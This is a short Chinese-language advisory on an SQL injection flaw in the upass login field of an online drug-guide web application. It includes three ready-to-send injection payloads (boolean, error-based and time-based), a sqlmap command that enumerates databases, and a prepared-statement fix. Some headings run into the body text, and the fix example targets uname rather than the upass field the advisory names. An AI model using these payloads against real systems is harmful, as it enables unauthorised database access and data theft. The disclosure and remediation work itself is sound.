本文档概述了在线药品指南Web应用程序中发现的一个严重SQL注入漏洞。该漏洞允许未经授权的数据库访问,对应用程序及其用户构成重大安全风险。
/login.php该漏洞源于/login.php文件中输入验证和清理不足。应用程序直接将upass参数中的用户输入拼接进SQL查询,而未进行适当的清理或使用预处理语句。
技术根本原因:
/login.phpupass(POST)POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
该漏洞已通过sqlmap确认:
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

upass参数实施输入验证修复前(易受攻击):
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
修复后(安全):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
文档版本:1.0
最后更新:2025年10月3日(日/月/年)